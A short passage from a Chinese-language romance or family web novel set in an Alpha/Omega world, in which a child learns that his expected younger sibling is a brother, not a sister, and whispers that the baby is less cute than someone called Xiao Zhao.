庄兆不懂,严谨地推理,“我妹妹是Alpha吗?” 在长时间的洗脑中,他也很坚信自己一定会有妹妹。 应重明失笑,“是弟弟。” “……好吧。”庄兆惊讶过就接受了,趁四下无旁人,压低声音评价,“他没有小照可爱。”